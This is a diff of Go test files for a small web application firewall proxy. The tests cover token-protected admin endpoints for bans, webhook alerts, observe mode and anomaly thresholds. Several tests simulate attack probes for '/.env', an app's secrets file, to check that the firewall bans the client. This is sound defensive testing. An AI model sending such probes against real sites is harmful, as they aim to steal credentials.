+	// Listing the bans, banning otherClient, lifting that ban, and asking
+	// about otherClient, in that order. Without the admin token, with the
+	// metrics token, or with one that differs, each is refused, and
+	// changes nothing; with the admin token, it is answered.
+	for _, e := range adminEndpoints() {
+		before := server.Ledger.Snapshot()
+
+		for _, authorization := range []string{
+			"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
+		} {
+			got := s.adminRequest(authorization, e.method, e.path, e.body,
+				http.StatusUnauthorized)
+			if got.header.Get("WWW-Authenticate") != "Bearer" {
+				t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
+					e.method, e.path, authorization)
+			}
+		}
+
+		if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
+			t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
+				e.method, e.path, after, before)
+		}
+
+		got := s.admin(e.method, e.path, e.body, http.StatusOK)
+		if got.header.Get("Content-Type") != "application/json" {
+			t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
+		}
+	}
+
+	// Any other request under /_smallwebwaf/ is not found.
+	for _, e := range []adminEndpoint{
+		{http.MethodPut, proxy.BansPath, banOtherClient},
+		{http.MethodDelete, proxy.BansPath, ""},
+		{http.MethodGet, proxy.BansPath + "/" + otherClient, ""},
+		{http.MethodPost, proxy.ClientsPath + otherClient, ""},
+		{http.MethodGet, strings.TrimSuffix(proxy.ClientsPath, "/"), ""},
+	} {
+		s.admin(e.method, e.path, e.body, http.StatusNotFound)
+	}
+}
+
+func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startWithClock(t, "", map[string]string{
+		adminToken:       adminSecret,
+		banScopeV4Prefix: "24",
+	})
+
+	// A ban on otherClient bans the /24 a ban on that client covers, so it
+	// refuses client too, for an hour.
+	start := clk.Now()
+	expires := start.Add(time.Hour)
+	want := state.BanEntry{
+		Netblock: netip.MustParsePrefix("203.0.113.0/24"),
+		Start:    start,
+		Expires:  &expires,
+		Cause:    bans.CauseAdmin,
+		Reason:   "probes for logins",
+	}
+
+	wantBans(t, s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK),
+		want)
+
+	line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+	if line.BanExpires != requestlog.FormatTime(expires) {
+		t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
+	}
+
+	// Its notes count the request it refused.
+	want.Notes.Requests, want.Notes.Refused = 1, 1
+
+	wantBans(t, s.admin(http.MethodGet, proxy.BansPath, "", http.StatusOK), want)
+
+	// Ten minutes on, lifting the bans on client lifts that one, which is
+	// kept, marked lifted.
+	clk.advance(10 * time.Minute)
+
+	lifted := clk.Now()
+	want.Lifted = &lifted
+
+	wantBans(t, s.admin(http.MethodDelete, proxy.BansPath+"/"+client, "",
+		http.StatusOK), want)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	wantBans(t, s.admin(http.MethodGet, proxy.BansPath, "", http.StatusOK), want)
+
+	// No ban on it is active any more.
+	s.admin(http.MethodDelete, proxy.BansPath+"/"+client, "", http.StatusNotFound)
+}
+
+func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startWithClock(t, "", map[string]string{
+		adminToken:       adminSecret,
+		banScopeV4Prefix: "24",
+	})
+	start := clk.Now()
+
+	for _, tc := range []struct {
+		netblock, duration string
+		want               string
+		length             time.Duration // 0 for a permanent ban
+	}{
+		// An address stands for the netblock a ban on that client covers.
+		{client, "7d", "203.0.113.0/24", 7 * 24 * time.Hour},
+		{"::ffff:198.51.100.7", "90m", "198.51.100.0/24", 90 * time.Minute},
+		{"2001:db8:5::1", "permanent", "2001:db8:5::/64", 0},
+		// A netblock stands for itself, its bits past its length cleared.
+		{"198.51.100.7/16", "1h", "198.51.0.0/16", time.Hour},
+		{"2001:db8:6::/48", "1h", "2001:db8:6::/48", time.Hour},
+	} {
+		// Whitespace may follow the object.
+		body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
+			"\r\n"
+		want := state.BanEntry{
+			Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
+		}
+
+		if tc.length != 0 {
+			expires := start.Add(tc.length)
+			want.Expires = &expires
+		}
+
+		wantBans(t, s.admin(http.MethodPost, proxy.BansPath, body, http.StatusOK), want)
+	}
+}
+
+func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
+
+	for _, tc := range []struct{ body, want string }{
+		{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
+		{"netblock=203.0.113.9", "the body is not a JSON object"},
+		{
+			`{"netblock": "203.0.113.9", "duration": "1h", "until": "2027"}`,
+			`unknown field "until"`,
+		},
+		{
+			`{"netblock": "203.0.113", "duration": "1h"}`,
+			`netblock "203.0.113" is not an address or a netblock`,
+		},
+		// A client's address is looked up as IPv4, so a ban on an
+		// IPv4-mapped netblock would refuse nothing.
+		{
+			`{"netblock": "::ffff:203.0.113.0/120", "duration": "1h"}`,
+			`netblock "::ffff:203.0.113.0/120" is IPv4-mapped`,
+		},
+		// Read as an address, its zone would be "x/48", and its ban on the
+		// /64 around it.
+		{
+			`{"netblock": "2001:db8::1%x/48", "duration": "1h"}`,
+			`netblock "2001:db8::1%x/48" has a zone`,
+		},
+		{
+			`{"netblock": "fe80::1%eth0", "duration": "1h"}`,
+			`netblock "fe80::1%eth0" has a zone`,
+		},
+		// Anything but whitespace after the object.
+		{
+			`{"netblock": "203.0.113.9", "duration": "1h"}` +
+				`{"netblock": "198.51.100.0/24", "duration": "1h"}`,
+			"more follows the object",
+		},
+		{`{"netblock": "203.0.113.9", "duration": "1h"} x`, "more follows the object"},
+		{`{"duration": "1h"}`, `netblock "" is not an address or a netblock`},
+		{`{"netblock": "203.0.113.9"}`, `duration "" is not a duration above zero`},
+		{
+			`{"netblock": "203.0.113.9", "duration": "off"}`,
+			`duration "off" is not a duration above zero`,
+		},
+		{
+			`{"netblock": "203.0.113.9", "duration": "0s"}`,
+			`duration "0s" is not a duration above zero`,
+		},
+		{
+			`{"netblock": "203.0.113.9", "duration": "forever"}`,
+			`duration "forever" is not a duration above zero, such as 1h or 7d, ` +
+				`or permanent`,
+		},
+		// Over the 4 KiB read of a body, even when the object comes first.
+		{
+			`{"netblock": "203.0.113.9", "duration": "1h", "reason": "` +
+				strings.Repeat("x", 4<<10) + `"}`,
+			"request body too large",
+		},
+		{
+			`{"netblock": "203.0.113.9", "duration": "1h"}` + strings.Repeat(" ", 4<<10),
+			"request body too large",
+		},
+	} {
+		got := s.admin(http.MethodPost, proxy.BansPath, tc.body, http.StatusBadRequest)
+		if !strings.Contains(string(got.body), tc.want) {
+			t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
+		}
+	}
+
+	if held := server.Ledger.Snapshot(); len(held) != 0 {
+		t.Errorf("the ledger holds %+v, want no ban", held)
+	}
+}
+
+func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startWithClock(t, "", map[string]string{
+		adminToken:         adminSecret,
+		rateLimitPerMinute: "2",
+	})
+	start := clk.Now()
+
+	// Two of otherClient's requests are let through; the third breaks the
+	// limit of two a minute, and bans it.
+	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
+	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
+	s.get(otherClient, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	// Asked about by its address in IPv6 form too.
+	for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
+		var got struct {
+			Client *ratelimit.Client `json:"client"`
+			Bans   []state.BanEntry  `json:"bans"`
+		}
+
+		decode(t, s.admin(http.MethodGet, proxy.ClientsPath+addr, "", http.StatusOK), &got)
+
+		if got.Client == nil {
+			t.Fatalf("%s: no client", addr)
+		}
+
+		history := got.Client.History
+		if got.Client.Client != netip.MustParsePrefix(otherClient+"/32") ||
+			history.Requests != 3 || history.Forwarded != 2 || history.Refused != 1 ||
+			history.Offences.Limit != 1 || !history.FirstSeen.Equal(start) {
+			t.Errorf("%s: client %+v", addr, got.Client)
+		}
+
+		if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
+			got.Bans[0].Reason != "requests per minute over the limit of 2" ||
+			got.Bans[0].Notes.Count != 3 {
+			t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
+		}
+	}
+
+	// Of an address no request came from and no ban covers, nothing is
+	// known.
+	got := s.admin(http.MethodGet, proxy.ClientsPath+"198.51.100.99", "", http.StatusOK)
+	if string(got.body) != "{\n    \"client\": null,\n    \"bans\": []\n}\n" {
+		t.Errorf("an unknown client is answered\n%s", got.body)
+	}
+
+	s.admin(http.MethodGet, proxy.ClientsPath+"203.0.113", "", http.StatusBadRequest)
+	s.admin(http.MethodDelete, proxy.BansPath+"/203.0.113.0/24", "",
+		http.StatusBadRequest)
+}
+
+func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		adminToken: adminSecret,
+		mode:       observe,
+	})
+
+	for _, e := range adminEndpoints() {
+		s.adminRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
+	}
+
+	if held := server.Ledger.Snapshot(); len(held) != 0 {
+		t.Errorf("the ledger holds %+v, want no ban", held)
+	}
+}
+
+// adminEndpoint is a request to an endpoint SWWAF_ADMIN_TOKEN opens.
+type adminEndpoint struct {
+	method, path, body string
+}
+
+// adminEndpoints returns a request to each endpoint SWWAF_ADMIN_TOKEN
+// opens: listing the bans, banning otherClient for an hour, lifting the
+// bans on otherClient, and asking about otherClient.
+func adminEndpoints() []adminEndpoint {
+	return []adminEndpoint{
+		{http.MethodGet, proxy.BansPath, ""},
+		{http.MethodPost, proxy.BansPath, banOtherClient},
+		{http.MethodDelete, proxy.BansPath + "/" + otherClient, ""},
+		{http.MethodGet, proxy.ClientsPath + otherClient, ""},
+	}
+}
+
+// admin sends a request with method for path, with body, to servewaf's own
+// address, with the admin token, and checks that it is answered with status, its
+// log line's action admin. It returns the answer.
+func (s *sender) admin(method, path, body string, status int) answer {
+	s.t.Helper()
+
+	return s.adminRequest(adminBearer, method, path, body, status)
+}
+
+// adminRequest is admin with authorization as the request's Authorization header
+// unless it is "".
+func (s *sender) adminRequest(
+	authorization, method, path, body string, status int,
+) answer {
+	s.t.Helper()
+
+	req := newRequest(s.t, method, s.serveWAFAddr, path, strings.NewReader(body))
+	if authorization != "" {
+		req.Header.Set("Authorization", authorization)
+	}
+
+	got := do(s.t, req)
+	wantStatus(s.t, got, status)
+
+	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
+	s.sent++
+	wantLine(s.t, line, status, requestlog.ActionAdmin)
+
+	return got
+}
+
+// wantBans checks that a ban endpoint answered with want, and no other
+// ban.
+func wantBans(t *testing.T, got answer, want ...state.BanEntry) {
+	t.Helper()
+
+	var decoded struct {
+		Bans []state.BanEntry `json:"bans"`
+	}
+
+	decode(t, got, &decoded)
+
+	gotJSON, err := json.Marshal(decoded.Bans)
+	if err != nil {
+		t.Fatalf("encode %+v: %v", decoded.Bans, err)
+	}
+
+	wantJSON, err := json.Marshal(want)
+	if err != nil {
+		t.Fatalf("encode %+v: %v", want, err)
+	}
+
+	if string(gotJSON) != string(wantJSON) {
+		t.Errorf("bans\n%s\nwant\n%s", gotJSON, wantJSON)
+	}
+}
+
+// decode reads the JSON answer of an endpoint into value.
+func decode(t *testing.T, got answer, value any) {
+	t.Helper()
+
+	err := json.Unmarshal(got.body, value)
+	if err != nil {
+		t.Fatalf("decode %s: %v", got.body, err)
+	}
+}

internal/proxy/alerts_test.go

@@ -0,0 +1,277 @@
+package proxy_test
+
+import (
+	"maps"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+const (
+	alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL"
+	alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR"
+	// alertInstance is the instance every alert of these tests gives.
+	alertInstance = "fsn1app1/gitea"
+)
+
+func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		rateLimitPerMinute: "1",
+		banScopeV4Prefix:   "24",
+	})
+	start := clk.Now()
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	netblock := netip.MustParsePrefix("203.0.113.0/24")
+	ban := server.Ledger.Bans(netblock)[0]
+
+	// A request refused under the ban raises no other alert.
+	clk.advance(time.Minute)
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, bans.Ban{
+		Netblock: netblock, Cause: bans.CauseLimit,
+		Reason: "requests per minute over the limit of 1", Notes: ban.Notes,
+	}, requestlog.FormatTime(start.Add(time.Hour))))
+
+	if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
+		t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
+	}
+}
+
+func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		rulesDir: writeRules(t, testRules),
+	})
+	start := clk.Now()
+	netblock := netip.MustParsePrefix(client + "/32")
+	other := netip.MustParsePrefix(otherClient + "/32")
+
+	// The probe bans the client for seven days, and its next request makes
+	// the ban permanent. The request after that changes nothing.
+	s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+
+	attackBan := server.Ledger.Bans(netblock)[0]
+
+	clk.advance(time.Minute)
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	permanentBan := server.Ledger.Bans(netblock)[0]
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	// Another client's probe after its first ban has run out without a
+	// request makes a permanent ban at once.
+	s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+	clk.advance(7 * 24 * time.Hour)
+	s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+
+	otherBans := server.Ledger.Bans(other)
+
+	wantAlerts(t, queue,
+		attackAlert(alerts.EventBan, start, client, attackBan,
+			requestlog.FormatTime(start.Add(7*24*time.Hour))),
+		attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
+			permanentBan, "permanent"),
+		attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
+			requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
+		attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
+			otherClient, otherBans[1], "permanent"),
+	)
+}
+
+func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		mode:               observe,
+		rateLimitPerMinute: "2",
+		rulesDir:           writeRules(t, testRules),
+	})
+	start := clk.Now()
+
+	// A ban for a clear sign of attack, which a request under it would make
+	// permanent.
+	group := netip.MustParsePrefix(ipv6Group)
+	attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
+
+	// The third request breaks the limit, and so does the fourth, within the
+	// cooldown, which raises nothing. The probe is a clear sign of attack.
+	for range 4 {
+		s.get(client, http.StatusOK, requestlog.ActionForward)
+	}
+
+	s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
+	line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
+
+	// No ban is made, and none made permanent.
+	held := server.Ledger.Snapshot()
+	if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
+		line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
+		t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
+			"for the attack alone, as it was", held, line.BanExpires)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 3 || queue.Suppressed() != 0 {
+		t.Fatalf("%d alerts wait and %d are held back, want 3 and 0: %+v",
+			len(waiting), queue.Suppressed(), waiting)
+	}
+
+	limitNotes, _ := waiting[0].Detail["notes"].(bans.Notes)
+	attackNotes, _ := waiting[1].Detail["notes"].(bans.Notes)
+
+	if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
+		attackNotes.Request.Path != "/.env" {
+		t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
+			"of the probe", limitNotes, attackNotes)
+	}
+
+	// Each alert is the one enforce mode would have raised, with mode
+	// observe in its detail.
+	want := []alerts.Alert{
+		banAlert(alerts.EventBan, start, client, bans.Ban{
+			Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
+			Reason: "requests per minute over the limit of 2", Notes: limitNotes,
+		}, requestlog.FormatTime(start.Add(time.Hour))),
+		attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
+			Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
+		}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
+		attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
+	}
+	for _, alert := range want {
+		alert.Detail["mode"] = observe
+	}
+
+	wantAlerts(t, queue, want...)
+}
+
+func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
+	t.Parallel()
+
+	s, _, _, queue := startWithAlerts(t, map[string]string{
+		mode:               observe,
+		rateLimitPerMinute: "2",
+		rulesDir:           writeRules(t, testRules),
+		alertMaxPerHour:    "2",
+	})
+
+	// The client's third request breaks the limit, and raises the first
+	// alert of the hour. Its fourth is within the cooldown.
+	for range 4 {
+		s.get(client, http.StatusOK, requestlog.ActionForward)
+	}
+
+	// The other client's first probe raises the second. Its second probe is
+	// within the cooldown.
+	for range 2 {
+		s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
+	}
+
+	// The IPv6 client's third request breaks the limit past the two alerts
+	// an hour.
+	for range 3 {
+		s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
+	}
+
+	// Had the ban been worked out for any of the requests within the
+	// cooldown or past the two an hour, its alert would have been raised,
+	// held back and counted.
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || queue.Suppressed() != 0 {
+		t.Errorf("%d alerts wait and %d are held back, want 2 and 0: %+v",
+			len(waiting), queue.Suppressed(), waiting)
+	}
+}
+
+// startWithAlerts is startWithClock with alerts to a webhook, which is
+// never sent them, and returns the queue they wait in as well.
+func startWithAlerts(
+	t *testing.T, env map[string]string,
+) (*sender, *clock, *proxy.Server, *alerts.Queue) {
+	t.Helper()
+
+	return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
+}
+
+// startAppWithAlerts is startWithAlerts in front of the app handler.
+func startAppWithAlerts(
+	t *testing.T, handler http.HandlerFunc, env map[string]string,
+) (*sender, *clock, *proxy.Server, *alerts.Queue) {
+	t.Helper()
+
+	app := startApp(t, handler)
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
+	settings := map[string]string{
+		trustedProxies:  trustLocalhost,
+		alertWebhookURL: "https://alerts.example/smallwebwaf",
+		instanceName:    alertInstance,
+	}
+	maps.Copy(settings, env)
+
+	addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
+
+	s := &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out}
+
+	return s, clk, server, queue
+}
+
+// banAlert returns the alert for event, raised by a request from client at
+// the time raised, for ban, with its netblock, cause, reason and notes,
+// which ends at expires, as the log line gives it.
+func banAlert(
+	event string, raised time.Time, client string, ban bans.Ban, expires string,
+) alerts.Alert {
+	return alerts.Alert{
+		Instance: alertInstance,
+		Time:     raised,
+		Event:    event,
+		Host:     appHost,
+		Client:   netip.MustParseAddr(client),
+		Netblock: ban.Netblock,
+		Reason:   ban.Reason,
+		Detail: map[string]any{
+			"cause": ban.Cause, "ban_expires": expires, "notes": ban.Notes,
+		},
+	}
+}
+
+// attackAlert is banAlert for a ban for the probe rule of testRules, with
+// the netblock and the notes of ban.
+func attackAlert(
+	event string, raised time.Time, client string, ban bans.Ban, expires string,
+) alerts.Alert {
+	return banAlert(event, raised, client, bans.Ban{
+		Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
+		Notes: ban.Notes,
+	}, expires)
+}
+
+// wantAlerts checks the alerts waiting in queue, in order.
+func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
+	t.Helper()
+
+	got := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(got) != len(want) {
+		t.Fatalf("%d alerts wait, want %d: %+v", len(got), len(want), got)
+	}
+
+	for i := range want {
+		if !reflect.DeepEqual(got[i], want[i]) {
+			t.Errorf("alert %d is\n%+v\nwant\n%+v", i, got[i], want[i])
+		}
+	}
+}

internal/proxy/anomaly_internal_test.go

@@ -0,0 +1,32 @@
+package proxy
+
+import (
+	"net/netip"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/config"
+)
+
+func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
+	t.Parallel()
+
+	// A request from a client looked up through GeoJS, with every anomaly
+	// threshold off. Its handler has neither GeoJS's answers nor the
+	// anomaly counters, nor a clock, and the request no response: reading
+	// any of them to count the request panics.
+	rq := &request{
+		decision: decision{
+			client:   netip.MustParseAddr("203.0.113.9"),
+			lookedUp: true,
+		},
+		h: &handler{config: &config.Config{LookupSource: "geojs"}},
+	}
+
+	defer func() {
+		if r := recover(); r != nil {
+			t.Errorf("counting the request did work, with every threshold off: %v", r)
+		}
+	}()
+
+	rq.countAnomalies()
+}

internal/proxy/anomaly_test.go

@@ -0,0 +1,378 @@
+package proxy_test
+
+import (
+	"maps"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"slices"
+	"strconv"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/anomaly"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The anomaly thresholds: the prefix of a scope followed by the end of a
+// count.
+const (
+	anomalyClient = "SWWAF_ANOMALY_CLIENT_"
+	anomalyNet    = "SWWAF_ANOMALY_NET_"
+	anomalyASN    = "SWWAF_ANOMALY_ASN_"
+	anomalyTotal  = "SWWAF_ANOMALY_TOTAL_"
+	anomalyWatch  = "SWWAF_WATCH_"
+
+	requestsPerMinute = "REQUESTS_PER_MINUTE"
+	requestsPerHour   = "REQUESTS_PER_HOUR"
+	bytesPerMinute    = "BYTES_PER_MINUTE"
+	bytesPerHour      = "BYTES_PER_HOUR"
+)
+
+// The other anomaly settings.
+const (
+	anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX"
+	anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX"
+	watchNets          = "SWWAF_WATCH_NETS"
+)
+
+const (
+	// clientsNet is the netblock around client at the default length, and
+	// office a named netblock of the same.
+	clientsNet = "203.0.113.0/24"
+	office     = "office=" + clientsNet
+	// aLot is a threshold no test reaches.
+	aLot = "1000"
+	// hour is the window an alert names for a threshold per hour.
+	hour = "hour"
+)
+
+func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
+	t.Parallel()
+
+	for _, scope := range []struct {
+		prefix, scope string
+		// netblock is the alert's, and counted what its reason names. extra
+		// is what its detail gives besides what every anomaly alert's does.
+		netblock netip.Prefix
+		counted  string
+		extra    map[string]any
+	}{
+		{
+			anomalyClient, anomaly.ScopeClient, netip.MustParsePrefix(client + "/32"),
+			"the client " + client + "/32", nil,
+		},
+		{
+			anomalyNet, anomaly.ScopeNet, netip.MustParsePrefix(clientsNet),
+			"the netblock " + clientsNet, nil,
+		},
+		{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
+		{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
+		{
+			anomalyWatch, anomaly.ScopeWatch, netip.MustParsePrefix(clientsNet),
+			"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
+		},
+	} {
+		for _, threshold := range []struct {
+			end, kind, window string
+			// value is the threshold, which the third upload of 100 bytes
+			// takes the count over, to count.
+			value int64
+			count float64
+		}{
+			{requestsPerMinute, ratelimit.KindRequests, minute, 2, 3},
+			{requestsPerHour, ratelimit.KindRequests, hour, 2, 3},
+			{bytesPerMinute, ratelimit.KindBytes, minute, 250, 300},
+			{bytesPerHour, ratelimit.KindBytes, hour, 250, 300},
+		} {
+			setting := scope.prefix + threshold.end
+			value := strconv.FormatInt(threshold.value, 10)
+
+			t.Run(setting, func(t *testing.T) {
+				t.Parallel()
+
+				s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
+					setting: value, watchNets: office,
+				})
+				start := clk.Now()
+
+				// The third upload takes the count over the threshold, and the
+				// fourth, within the cooldown, is held back. Each is passed to
+				// the app.
+				for range 4 {
+					s.uploadFrom(client)
+				}
+
+				detail := map[string]any{
+					"scope": scope.scope, "window": threshold.window, "kind": threshold.kind,
+					"count": threshold.count, "threshold": threshold.value,
+				}
+				maps.Copy(detail, scope.extra)
+
+				wantAlerts(t, queue, alerts.Alert{
+					Instance: alertInstance,
+					Time:     start,
+					Event:    alerts.EventAnomaly,
+					Host:     appHost,
+					Client:   netip.MustParseAddr(client),
+					Netblock: scope.netblock,
+					ASN:      asnDE,
+					ASName:   asNameDE,
+					Country:  "DE",
+					Reason: threshold.kind + " per " + threshold.window + " of " +
+						scope.counted + " over the threshold of " + value,
+					Detail: detail,
+				})
+
+				wantAlertedAgainOnceTheCooldownHasRunOut(t, s, clk, queue)
+
+				if held := server.Ledger.Snapshot(); len(held) != 0 {
+					t.Errorf("the ledger holds %+v, want no ban", held)
+				}
+			})
+		}
+	}
+}
+
+// wantAlertedAgainOnceTheCooldownHasRunOut checks that, once the cooldown
+// has run out after a first alert, which held back one repeat, the next
+// count over the threshold, at the latest three uploads from client on,
+// raises another alert, giving that repeat.
+func wantAlertedAgainOnceTheCooldownHasRunOut(
+	t *testing.T, s *sender, clk *clock, queue *alerts.Queue,
+) {
+	t.Helper()
+
+	clk.advance(15 * time.Minute)
+
+	for range 3 {
+		s.uploadFrom(client)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
+		waiting[1].SuppressedRepeats != 1 {
+		t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
+	}
+}
+
+func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
+	t.Parallel()
+
+	const (
+		allowed = "192.0.2.7"  // in SWWAF_ALLOW_NETS
+		exempt  = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+		denied  = "192.0.2.20" // in SWWAF_DENY_NETS
+	)
+
+	s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
+		anomalyClient + requestsPerMinute: "2",
+		allowNets:                         allowed,
+		rateLimitExemptNets:               exempt,
+		rateLimitExemptPaths:              "/static/",
+		denyNets:                          denied,
+	})
+
+	// The third request of each takes its client's count over the threshold
+	// of 2.
+	for _, sent := range []struct {
+		from, path string
+		status     int
+		action     string
+	}{
+		{allowed, "/", http.StatusOK, requestlog.ActionForward},
+		{exempt, "/", http.StatusOK, requestlog.ActionForward},
+		{client, "/static/app.js", http.StatusOK, requestlog.ActionForward},
+		{denied, "/", http.StatusForbidden, requestlog.ActionDenied},
+	} {
+		for range 3 {
+			s.request(sent.from, sent.path, sent.status, sent.action)
+		}
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+
+	got := make([]string, 0, len(waiting))
+	for _, alert := range waiting {
+		got = append(got, alert.Client.String())
+	}
+
+	if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
+		t.Errorf("alerts for the clients %v, want %v", got, want)
+	}
+}
+
+func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
+	t.Parallel()
+
+	// With every threshold off, nothing is counted.
+	s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
+
+	for range 5 {
+		s.uploadFrom(client)
+	}
+
+	if counters := server.Anomalies.Snapshot(); len(counters) != 0 {
+		t.Errorf("counters %+v, want none", counters)
+	}
+
+	wantAlerts(t, queue)
+
+	// With one set, its count alone is counted, in its scope alone.
+	s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
+		anomalyNet + requestsPerMinute: aLot, watchNets: office,
+	})
+
+	for range 5 {
+		s.uploadFrom(client)
+	}
+
+	want := []anomaly.Counter{{
+		Scope:    anomaly.ScopeNet,
+		Netblock: netip.MustParsePrefix(clientsNet),
+		Minute:   ratelimit.Buckets{Start: clk.Now(), Current: 5},
+	}}
+	if got := server.Anomalies.Snapshot(); !reflect.DeepEqual(got, want) {
+		t.Errorf("counters\n%+v\nwant\n%+v", got, want)
+	}
+
+	wantAlerts(t, queue)
+}
+
